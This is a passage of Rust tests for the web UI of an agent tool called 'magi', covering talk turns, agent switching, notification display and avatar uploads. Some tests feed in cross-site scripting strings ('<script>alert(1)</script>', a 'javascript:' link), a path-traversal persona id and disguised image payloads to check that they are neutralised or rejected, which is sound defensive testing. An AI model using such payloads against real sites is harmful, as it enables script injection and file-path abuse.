15248        let unknown = call("nobody").await.expect_err("unknown agent");
15249        assert_eq!(
15250            unknown.status,
15251            StatusCode::BAD_REQUEST,
15252            "{}",
15253            unknown.message
15254        );
15255
15256        {
15257            // Nothing refused so far took a claim, so the guard is free to take
15258            // and holding it is what makes the talk busy.
15259            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15260            let busy = call("second").await.expect_err("busy talk");
15261            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15262            assert!(
15263                busy.message.contains("a talk turn is running"),
15264                "{}",
15265                busy.message
15266            );
15267            drop(guard);
15268        }
15269        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
15270
15271        let Json(view) = call("second").await.expect("switch");
15272        assert_eq!(view.talk.agent, "second");
15273        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
15274        let saved = talks.get(&id).expect("reload");
15275        assert_eq!(saved.agent, "second");
15276        assert_eq!(saved.turns.len(), 1);
15277        assert!(!view.thinking);
15278        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15279        for agent in ["mock", "second"] {
15280            let Json(view) = call(agent).await.expect("immediate consecutive change");
15281            assert_eq!(view.talk.agent, agent);
15282            assert!(!view.thinking);
15283            assert!(!ui.is_thinking(&id));
15284        }
15285
15286        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15287            .await
15288            .expect("detail");
15289        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
15290        assert_eq!(roster, ["mock", "second"]);
15291
15292        let mut closed = talks.get(&id).expect("reload");
15293        talk::close(&mut closed, &talks).expect("close");
15294        let refused = call("mock").await.expect_err("closed talk");
15295        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15296        assert!(
15297            refused.message.contains("takes no more turns"),
15298            "{}",
15299            refused.message
15300        );
15301    }
15302
15303    #[tokio::test]
15304    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
15305        let tmp = TempDir::new().expect("tempdir");
15306        let repo = tmp.path().join("repo");
15307        std::fs::create_dir_all(&repo).expect("repo dir");
15308        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15309        let home = TempDir::new().expect("temp home");
15310        let talks = Talks::at(home.path().join("talks"));
15311        let ui = Arc::new(
15312            Ui::new(
15313                Queue::at(home.path().join("queue")),
15314                Questions::at(home.path().join("questions")),
15315                talks.clone(),
15316                home.path().join("runs"),
15317                home.path().to_path_buf(),
15318                repo.clone(),
15319            )
15320            .with_worktrees_root(home.path().join("wt")),
15321        );
15322        let cfg = config_for(&repo).await.expect("discover config");
15323        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15324        let id = talk.id.clone();
15325        let call = |n: u8| {
15326            talk_implementers(
15327                State(Arc::clone(&ui)),
15328                Path(id.clone()),
15329                Json(TalkImplementers { implementers: n }),
15330            )
15331        };
15332
15333        for bad in [0u8, 4] {
15334            let e = call(bad).await.expect_err("out of range");
15335            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
15336        }
15337        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
15338
15339        {
15340            // Nothing refused so far took a claim, so the guard is free to take
15341            // and holding it is what makes the talk busy.
15342            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15343            let busy = call(2).await.expect_err("busy talk");
15344            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15345            assert!(
15346                busy.message.contains("a talk turn is running"),
15347                "{}",
15348                busy.message
15349            );
15350            drop(guard);
15351        }
15352
15353        let Json(view) = call(3).await.expect("switch");
15354        assert_eq!(view.talk.implementers, 3);
15355        assert!(talks.get(&id).expect("reload").implementers_dirty);
15356        assert!(!view.thinking);
15357        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15358        for n in [1, 2, 3] {
15359            let Json(view) = call(n).await.expect("immediate consecutive change");
15360            assert_eq!(view.talk.implementers, n);
15361            assert!(!view.thinking);
15362            assert!(!ui.is_thinking(&id));
15363        }
15364
15365        let mut closed = talks.get(&id).expect("reload");
15366        talk::close(&mut closed, &talks).expect("close");
15367        let e = call(2).await.expect_err("closed talk");
15368        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
15369        assert!(e.message.contains("takes no more turns"), "{}", e.message);
15370    }
15371
15372    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
15373    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
15374        let tmp = TempDir::new().expect("tempdir");
15375        let repo = tmp.path().join("repo");
15376        std::fs::create_dir_all(&repo).expect("repo dir");
15377        std::fs::write(
15378            repo.join("magi.toml"),
15379            format!("{MOCK_AGENT_TOML}\n{extra}"),
15380        )
15381        .expect("write magi.toml");
15382        let home = TempDir::new().expect("temp home");
15383        let talks = Talks::at(home.path().join("talks"));
15384        let ui = Arc::new(
15385            Ui::new(
15386                Queue::at(home.path().join("queue")),
15387                Questions::at(home.path().join("questions")),
15388                talks.clone(),
15389                home.path().join("runs"),
15390                home.path().to_path_buf(),
15391                repo.clone(),
15392            )
15393            .with_worktrees_root(home.path().join("wt")),
15394        );
15395        let cfg = config_for(&repo).await.expect("discover config");
15396        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15397        (tmp, home, ui, talk.id, repo)
15398    }
15399
15400    #[tokio::test]
15401    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
15402        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15403        let mut conversation = ui.talks.get(&id).unwrap();
15404        talk::record(
15405            &mut conversation,
15406            &ui.talks,
15407            "# Update on a task you filed\noperator words",
15408            vec![],
15409        )
15410        .unwrap();
15411        // Simulate an old operator record; headings do not prove authorship.
15412        conversation.turns[0].sender = None;
15413        conversation.turns[0].messages.clear();
15414        ui.talks.put(&mut conversation).unwrap();
15415        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
15416        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
15417        talk::drain(&mut conversation, &ui.talks).unwrap();
15418        talk::record_reply(
15419            &mut conversation,
15420            &ui.talks,
15421            "about that report",
15422            vec![],
15423            Some(talk::ReplyTarget {
15424                turn: 1,
15425                message: 1,
15426            }),
15427        )
15428        .unwrap();
15429        conversation.turns[2].messages[0]
15430            .reply
15431            .as_mut()
15432            .unwrap()
15433            .sender = None;
15434        conversation.turns.push(talk::Turn {
15435            sender: Some(talk::Sender::Persona),
15436            who: talk::Who::Agent,
15437            body: "magi: actual persona words".into(),
15438            at: Timestamp::now(),
15439            attachments: vec![],
15440            usage: None,
15441            breaks: None,
15442            messages: vec![],
15443            posted_by: None,
15444        });
15445        ui.talks.put(&mut conversation).unwrap();
15446        let view = TalkView::with_config(
15447            ui.talks.get(&id).unwrap(),
15448            false,
15449            None,
15450            &ui.home,
15451            &ui.references,
15452        );
15453        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
15454        assert_eq!(
15455            view.talk.turns[1].messages[0].sender,
15456            Some(talk::Sender::Operator)
15457        );
15458        assert_eq!(
15459            view.talk.turns[1].messages[1].sender,
15460            Some(talk::Sender::Magi)
15461        );
15462        assert_eq!(
15463            view.talk.turns[2].messages[0]
15464                .reply
15465                .as_ref()
15466                .unwrap()
15467                .sender,
15468            Some(talk::Sender::Magi)
15469        );
15470        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
15471        assert_eq!(view.turn_messages_md[0].len(), 1);
15472        assert!(view.turn_messages_md[0][0].is_none());
15473        assert!(view.turn_messages_md[1][0].is_none());
15474        assert!(view.turn_messages_md[1][1].is_some());
15475    }
15476
15477    #[tokio::test]
15478    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
15479        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15480        let mut conversation = ui.talks.get(&id).unwrap();
15481        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
15482        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15483        talk::queue_notice(
15484            &mut conversation,
15485            &ui.talks,
15486            &body,
15487            "watch:123",
15488            &|_| false,
15489            crate::chat_control::standing::Event::Watch {
15490                id: "watch-123".into(),
15491            },
15492            display.clone(),
15493        )
15494        .unwrap();
15495        assert!(
15496            !talk::queue_notice(
15497                &mut conversation,
15498                &ui.talks,
15499                &body,
15500                "watch:123",
15501                &|_| false,
15502                crate::chat_control::standing::Event::Watch {
15503                    id: "watch-123".into()
15504                },
15505                display.clone()
15506            )
15507            .unwrap()
15508        );
15509        let saved = ui.talks.get(&id).unwrap();
15510        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15511        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15512        assert!(
15513            view.talk.turns[0].messages[0].display.is_none(),
15514            "operator copy stays literal"
15515        );
15516        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15517        assert!(view.turn_messages_md[0][0].is_none());
15518        let queued_md = view.pending_messages_md[0].clone();
15519        assert_eq!(
15520            queued_md,
15521            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15522        );
15523        talk::drain(&mut conversation, &ui.talks).unwrap();
15524        talk::record_reply(
15525            &mut conversation,
15526            &ui.talks,
15527            "Explain",
15528            vec![],
15529            Some(talk::ReplyTarget {
15530                turn: 1,
15531                message: 0,
15532            }),
15533        )
15534        .unwrap();
15535        let mut saved = ui.talks.get(&id).unwrap();
15536        assert_eq!(saved.turns[1].messages[0].body, body);
15537        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15538        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15539        assert!(!reply.excerpt.contains("automatic report"));
15540        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15541        saved.turns[1].messages[0].display = None; // old MAGI send
15542        ui.talks.put(&mut saved).unwrap();
15543        let view = TalkView::with_config(
15544            ui.talks.get(&id).unwrap(),
15545            false,
15546            None,
15547            &ui.home,
15548            &ui.references,
15549        );
15550        assert_eq!(view.turn_messages_md[1][0], queued_md);
15551        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15552        assert!(
15553            !view.talk.turns[2].messages[0]
15554                .reply
15555                .as_ref()
15556                .unwrap()
15557                .excerpt
15558                .contains("automatic report")
15559        );
15560        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15561    }
15562
15563    #[tokio::test]
15564    async fn consultation_display_hides_directives_in_queue_and_history() {
15565        for node in [
15566            "implement",
15567            crate::land::APPROVAL_NODE,
15568            crate::github_text::ASK_NODE,
15569        ] {
15570            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15571            let mut question = Question::new(
15572                "run-123".into(),
15573                node.into(),
15574                "seat-1".into(),
15575                "Which backend?".into(),
15576                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15577                vec!["SQLite".into(), "Redis".into()],
15578            );
15579            ui.questions.put(&mut question).unwrap();
15580            let body = crate::prompt::chat_consult(&question);
15581            let mut conversation = ui.talks.get(&id).unwrap();
15582            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15583            assert!(
15584                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15585            );
15586            conversation = ui.talks.get(&id).unwrap();
15587            assert_eq!(conversation.pending_messages[0].body, body);
15588            assert!(body.contains("magi answer"));
15589            let mut legacy_pending = conversation.clone();
15590            legacy_pending.pending_messages[0].display = None;
15591            let legacy_view =
15592                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15593            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15594            assert!(legacy_md.contains("Question consultation"));
15595            assert!(!legacy_md.contains("magi answer"));
15596            let view =
15597                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15598            assert!(
15599                view.turn_messages_md[0][0].is_none(),
15600                "operator copy stays literal"
15601            );
15602            let queued_md = view.pending_messages_md[0].clone().unwrap();
15603            let rendered = serde_json::to_string(&queued_md).unwrap();
15604            for visible in [
15605                "Which backend?",
15606                "Context",
15607                "storage",
15608                "SQLite",
15609                "Redis",
15610                "<script>literal</script>",
15611            ] {
15612                assert!(rendered.contains(visible), "missing {visible}");
15613            }
15614            for directive in [
15615                "What to do",
15616                "magi answer",
15617                "Never answer it yourself",
15618                "Do not edit the repository",
15619            ] {
15620                assert!(!rendered.contains(directive), "exposed {directive}");
15621            }
15622            assert_eq!(
15623                view.talk.pending_messages[0].display,
15624                Some(crate::prompt::chat_consult_display(&question))
15625            );
15626            talk::drain(&mut conversation, &ui.talks).unwrap();
15627            let view =
15628                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15629            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15630            assert_eq!(conversation.turns[1].messages[0].body, body);
15631
15632            // Historical consultations lack a snapshot: show a safe placeholder
15633            // rather than parsing instructions or reconstructing mutable facts.
15634            conversation.turns[1].messages[0].display = None;
15635            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15636            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15637            assert!(legacy.contains("Question consultation"));
15638            assert!(!legacy.contains("magi answer"));
15639            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15640        }
15641    }
15642
15643    #[test]
15644    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15645        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15646        let (body, mut display) =
15647            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15648        display.facts = facts.into();
15649        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15650        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15651        let json = serde_json::to_string(&nodes).unwrap();
15652        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15653            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15654        }
15655        assert!(json.contains("<script>alert(1)</script>"));
15656        assert!(!json.contains("javascript:"));
15657        assert!(!json.contains("Tell the operator"));
15658        assert!(!json.contains("untrusted"));
15659        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15660        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15661        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15662        assert_eq!(
15663            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15664            md::to_nodes("# Status", &md::ImageBase::None),
15665        );
15666    }
15667
15668    #[tokio::test]
15669    async fn notification_display_recovers_exact_legacy_completion_references() {
15670        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15671        let mut conversation = ui.talks.get(&id).unwrap();
15672        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15673            id: "task-123",
15674            title: "Change",
15675            status: "done",
15676            reason: None,
15677            run: Some("run-123"),
15678            pr: None,
15679            summary: Some("Merge state unknown"),
15680            verification: None,
15681            completion: None,
15682        });
15683        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15684        conversation.turns[0].sender = None;
15685        conversation.turns[0].messages.clear();
15686        conversation.turns[0].breaks = None;
15687        conversation.pending = body.clone();
15688        conversation
15689            .completion_notices
15690            .push(crate::chat_notify::CompletionReference {
15691                task: "task-123".into(),
15692                run: Some("run-123".into()),
15693                notice: body.clone(),
15694            });
15695        ui.talks.put(&mut conversation).unwrap();
15696        let view = TalkView::with_config(
15697            ui.talks.get(&id).unwrap(),
15698            false,
15699            None,
15700            &ui.home,
15701            &ui.references,
15702        );
15703        assert_eq!(
15704            view.talk.turns[0].messages[0].display,
15705            Some(display.clone())
15706        );
15707        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15708        assert_eq!(
15709            view.talk.turns[0].messages[0].sender,
15710            Some(talk::Sender::Magi)
15711        );
15712        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15713        conversation.completion_notices[0]
15714            .notice
15715            .push_str("different");
15716        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15717        assert!(view.talk.turns[0].messages.is_empty());
15718        assert!(view.talk.pending_messages.is_empty());
15719    }
15720
15721    #[tokio::test]
15722    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15723        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15724        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15725            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15726        ))
15727        .await;
15728        let path = avatar_setting_path(home.path(), Some("rei"));
15729        let orphan = avatar_setting_path(home.path(), Some("removed"));
15730        save_icon_file(&orphan, icon).unwrap();
15731        for (saved, expected) in [
15732            (icon, "custom"),
15733            ("builtin", "builtin"),
15734            ("data:image/png;base64,!!!!", "inherit"),
15735            ("data:image/png;base64,PGh0bWw+", "inherit"),
15736            ("/tmp/avatar.png", "inherit"),
15737        ] {
15738            atomic_icon_write(&path, saved).unwrap();
15739            let catalog =
15740                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15741                    .await
15742                    .unwrap()
15743                    .0;
15744            let personas = catalog["personas"].as_array().unwrap();
15745            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15746            assert_eq!(rei["override_state"], expected);
15747            assert_eq!(rei["has_config_icon"], true);
15748            assert_eq!(rei["is_orphan"], false);
15749            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15750            assert_eq!(removed["override_state"], "custom");
15751            assert_eq!(removed["is_orphan"], true);
15752            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15753            assert_eq!(default["override_state"], "inherit");
15754            assert_eq!(default["has_config_icon"], false);
15755            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15756            assert_eq!(
15757                effective.as_deref(),
15758                Some(if expected == "builtin" { "" } else { icon })
15759            );
15760        }
15761    }
15762
15763    #[tokio::test]
15764    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15765        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15766        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15767            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15768        ))
15769        .await;
15770        let target = |id: Option<&str>| AvatarSettingsQuery {
15771            persona: id.map(str::to_owned),
15772            ..Default::default()
15773        };
15774        let original_config = config_for(&repo).await.unwrap();
15775        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15776        let original_prompt = persona::section_for(&original_persona, None);
15777        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15778            .await
15779            .unwrap()
15780            .0;
15781        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15782            let _ = avatar_settings_put(
15783                State(ui.clone()),
15784                Query(target(persona)),
15785                Json(MagiIconUpload { icon: icon.into() }),
15786            )
15787            .await
15788            .unwrap();
15789            let path = avatar_setting_path(home.path(), persona);
15790            assert!(path.starts_with(home.path().join("avatars")));
15791            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15792            for bad in [
15793                "/tmp/image.png".to_owned(),
15794                "data:image/png;base64,!!!!".to_owned(),
15795                "data:image/png;base64,PGh0bWw+".to_owned(),
15796                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15797                format!(
15798                    "data:image/png;base64,{}",
15799                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15800                ),
15801            ] {
15802                assert!(
15803                    avatar_settings_put(
15804                        State(ui.clone()),
15805                        Query(target(persona)),
15806                        Json(MagiIconUpload { icon: bad })
15807                    )
15808                    .await
15809                    .is_err()
15810                );
15811                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15812            }
15813        }
15814        assert!(read_magi_icon(home.path()).is_none());
15815        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15816        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15817            .await
15818            .unwrap()
15819            .0;
15820        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15821        assert_ne!(
15822            before
15823                .personas
15824                .iter()
15825                .find(|p| p.id == "magi")
15826                .unwrap()
15827                .avatar,
15828            after
15829                .personas
15830                .iter()
15831                .find(|p| p.id == "magi")
15832                .unwrap()
15833                .avatar
15834        );
15835        let restarted = Arc::new(Ui::new(
15836            Queue::at(home.path().join("queue")),
15837            Questions::at(home.path().join("questions")),
15838            Talks::at(home.path().join("talks")),
15839            home.path().join("runs"),
15840            home.path().to_owned(),
15841            repo,
15842        ));
15843        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15844            .await
15845            .unwrap()
15846            .0;
15847        assert!(
15848            catalog["personas"]
15849                .as_array()
15850                .unwrap()
15851                .iter()
15852                .any(|p| p["id"] == "../custom/日本語")
15853        );
15854        for expected in ["custom", "default", "rei"] {
15855            assert!(
15856                catalog["personas"]
15857                    .as_array()
15858                    .unwrap()
15859                    .iter()
15860                    .any(|p| p["id"] == expected)
15861            );
15862        }
15863        let response =
15864            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15865        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15866        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15867            .await
15868            .unwrap();
15869        assert_eq!(
15870            effective_persona_icon(home.path(), "rei", Some(icon)),
15871            Some(String::new())
15872        );
15873        let response = talk_avatar(
15874            State(restarted.clone()),
15875            Path(id.clone()),
15876            Query(AvatarQuery {
15877                persona: Some("rei".into()),
15878                ..Default::default()
15879            }),
15880        )
15881        .await
15882        .unwrap();
15883        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15884        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15885            .await
15886            .unwrap()
15887            .0;
15888        assert_ne!(
15889            after
15890                .personas
15891                .iter()
15892                .find(|p| p.id == "rei")
15893                .unwrap()
15894                .avatar,
15895            reset
15896                .personas
15897                .iter()
15898                .find(|p| p.id == "rei")
15899                .unwrap()
15900                .avatar
15901        );
15902        let mut inherit = target(Some("rei"));
15903        inherit.inherit = Some("1".into());
15904        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15905            .await
15906            .unwrap();
15907        assert_eq!(
15908            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15909            Some(icon)
15910        );
15911        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15912            .await
15913            .unwrap();
15914        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15915        assert_eq!(
15916            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15917            Some(icon)
15918        );
15919        // Display changes never rewrite the conversation or its prompt-bearing config.
15920        let cfg = config_for(&ui.repo).await.unwrap();
15921        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15922        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15923        assert!(!original_prompt.contains("data:image"));
15924        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15925        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15926        assert!(!stored.contains("data:image"));
15927        let mut orphan = ui.talks.get(&id).unwrap();
15928        orphan.persona = "../custom/日本語".into();
15929        let view = TalkView::with_config(
15930            orphan,
15931            false,
15932            Some(&cfg),
15933            home.path(),
15934            &id_links::IndexCache::default(),
15935        );
15936        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15937    }
15938
15939    #[tokio::test]
15940    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15941        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15942        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15943        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15944        let _ = magi_icon_put(
15945            State(ui.clone()),
15946            Json(MagiIconUpload { icon: icon.into() }),
15947        )
15948        .await
15949        .unwrap();
15950        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15951        assert_ne!(original, changed);
15952        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15953        let response = magi_avatar(
15954            State(ui.clone()),
15955            Query(AvatarQuery {
15956                persona: None,
15957                builtin: None,
15958            }),
15959        )
15960        .await;
15961        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15962        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15963        assert_eq!(
15964            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15965            "nosniff"
15966        );
15967        for bad in [
15968            "data:image/png;base64,PGh0bWw+".to_owned(),
15969            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15970            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15971        ] {
15972            assert!(save_magi_icon(home.path(), &bad).is_err());
15973            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15974        }
15975        // Re-opened server state reads the same independent home file.
15976        let restarted = Arc::new(Ui::new(
15977            Queue::at(home.path().join("queue")),
15978            Questions::at(home.path().join("questions")),
15979            Talks::at(home.path().join("talks")),
15980            home.path().join("runs"),
15981            home.path().to_path_buf(),
15982            repo,
15983        ));
15984        assert_eq!(
15985            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15986            changed
15987        );
15988        let view = TalkView::with_config(
15989            restarted.talks.get(&id).unwrap(),
15990            false,
15991            None,
15992            &restarted.home,
15993            &restarted.references,
15994        );
15995        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15996        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15997        let response = magi_avatar(
15998            State(ui.clone()),
15999            Query(AvatarQuery {
16000                persona: None,
16001                builtin: None,
16002            }),
16003        )
16004        .await;
16005        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
16006            .await
16007            .unwrap();
16008        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
16009        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
16010        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
16011        let _ = magi_icon_delete(State(ui)).await.unwrap();
16012    }
16013
16014    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
16015    async fn avatar(
16016        ui: &Arc<Ui>,
16017        id: &str,
16018        persona: Option<&str>,
16019        builtin: bool,
16020    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
16021        let res = talk_avatar(
16022            State(Arc::clone(ui)),
16023            Path(id.to_owned()),
16024            Query(AvatarQuery {
16025                persona: persona.map(str::to_owned),
16026                builtin: builtin.then(|| "1".to_owned()),
16027            }),
16028        )
16029        .await
16030        .expect("an avatar is never an error response");
16031        let h = res.headers();
16032        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
16033        let nosniff = h
16034            .get(header::X_CONTENT_TYPE_OPTIONS)
16035            .is_some_and(|v| v == "nosniff");
16036        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
16037        let status = res.status();
16038        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16039            .await
16040            .expect("body")
16041            .to_vec();
16042        (status, ct, nosniff, csp, body)
16043    }
16044
16045    fn tiny_png() -> Vec<u8> {
16046        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
16047        b.extend_from_slice(&[0u8; 32]);
16048        b
16049    }
16050
16051    #[tokio::test]
16052    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
16053        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
16054        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
16055        assert_eq!(res.status(), StatusCode::OK);
16056        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
16057        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
16058        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
16059        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
16060        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16061            .await
16062            .unwrap();
16063        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
16064        assert_ne!(
16065            persona_icon::operator_svg(),
16066            persona_icon::builtin_svg("default")
16067        );
16068    }
16069
16070    #[tokio::test]
16071    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
16072        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
16073        for p in [
16074            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
16075        ] {
16076            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
16077            assert_eq!(status, StatusCode::OK, "{p}");
16078            assert_eq!(ct, "image/svg+xml", "{p}");
16079            assert!(nosniff && csp, "{p}");
16080            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
16081        }
16082        // No `persona` means the conversation's own; unknown ones fall back.
16083        let own = avatar(&ui, &id, None, false).await;
16084        let default = avatar(&ui, &id, Some("default"), false).await;
16085        assert_eq!(own.4, default.4);
16086        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
16087        assert_eq!(unknown.1, "image/svg+xml");
16088    }
16089
16090    #[tokio::test]
16091    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
16092        let dir = TempDir::new().expect("icons");
16093        let good = dir.path().join("good.png");
16094        std::fs::write(&good, tiny_png()).unwrap();
